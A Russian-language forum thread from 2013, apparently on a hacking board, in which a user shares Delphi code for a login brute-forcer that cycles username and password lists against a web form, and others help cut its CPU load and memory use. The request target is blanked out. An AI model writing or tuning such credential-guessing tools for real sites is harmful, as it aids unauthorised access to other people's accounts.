PDA

Просмотр полной версии : [Помогите!] Проблемка с брутом


RamDigga
01.08.2013, 19:05
Написал простенький брут. Вроде бы всё вышло по плану, но сильно нагружает ЦП...
Как можно исправить ???


procedure TMyThread.Execute;
var
log:TstringList;
l,p:integer;
StrPage,sait,login,pass:string;
begin
for l := 0 to Form1.Memo1.Lines.Count-1 do
for p := 0 to Form1.Memo2.Lines.Count-1 do
begin
login:= Form1.Memo1.Lines[l];
pass:= Form1.Memo2.Lines[p];
sait:='запрос';
log:=TstringList.Create;
log.Add('username='+login);
log.Add('password='+pass);
StrPage:=Form1.[Ссылки могут видеть только зарегистрированные и активированные пользователи](sait,log);
if pos (login,StrPage) <> 0 then
begin
Form1.Memo3.Lines.Add(login+':'+pass);
end
else
begin
Form1.Memo4.Lines.Add(login+':'+pass);
end;
end;
Form1.Memo3.Lines.Add('The End');
end;

Роспотребнадзор
02.08.2013, 12:39
Очищай переменные после каждой попытки авторизации
begin
Try
//код
finally
login.free;
pass.free;
end;

RamDigga
03.08.2013, 22:52
Очищай переменные после каждой попытки авторизации
begin
Try
//код
finally
login.free;
pass.free;
end;

Ругается: [DCC Error] Unit1.pas(65): E2018 Record, object or class type required

Apo-S
03.08.2013, 23:08
Ругается: [DCC Error] Unit1.pas(65): E2018 Record, object or class type required

У строки нет такого метода.. Зато нужно освобождать переменную log из памяти
log.free;

RamDigga
08.08.2013, 04:11
Теперь проблема в другом...
Сильно нагружает ЦП...
Как можно исправить ???

Sinyss
08.08.2013, 04:48
Теперь проблема в другом...
Сильно нагружает ЦП...
Как можно исправить ???
Оптимизировать алгоритм, переписать заново.
Не в курсе, но должны быть програмные средства для ограничения производительности...

RamDigga
08.08.2013, 05:06
Оптимизировать алгоритм, переписать заново.
Не в курсе, но должны быть програмные средства для ограничения производительности...

Я уже не знаю куда проще...
Мои знания в Delphi, позволяют написать только это Хд

Apo-S
08.08.2013, 12:32
Теперь проблема в другом...
Сильно нагружает ЦП...
Как можно исправить ???

В конец цикла вставь sleep(200); К примеру..

Роспотребнадзор
08.08.2013, 18:05
Сильно нагружает ЦП...
Устаревшие процессоры даже от открытия папки нагружаются до 80 и более процентов

RamDigga
08.08.2013, 23:51
Устаревшие процессоры даже от открытия папки нагружаются до 80 и более процентов

В BF3 гоняю и норм...
8 гб оперативки и подлагивает, а что тогда будет у других ? Хд

Apo-S
09.08.2013, 00:06
В BF3 гоняю и норм...
8 гб оперативки и подлагивает, а что тогда будет у других ? Хд

По-идее и должно лагать, тк выходит почти вечный цикл..
Нужно вставлять sleep() в конец цикла, чтобы процессор так сильно не грузило.
Можно даже создать поток и убедиться
while(true){ }; // будет грузить проц
while(true){ sleep(150);}; // грузить проц почти не будет..
Ещё можно попытаться изменить приоритет потока..

RamDigga
09.08.2013, 00:21
Я понял в чём была проблема, при загрузке логов и пассов, программа проверяла на наличие пустых строк и пробелов, а потом их удаляла.
Нагрузка была 40 при 8 гб оперативы, даже если программа не брутила.
А щас при бруте 2-5 цп)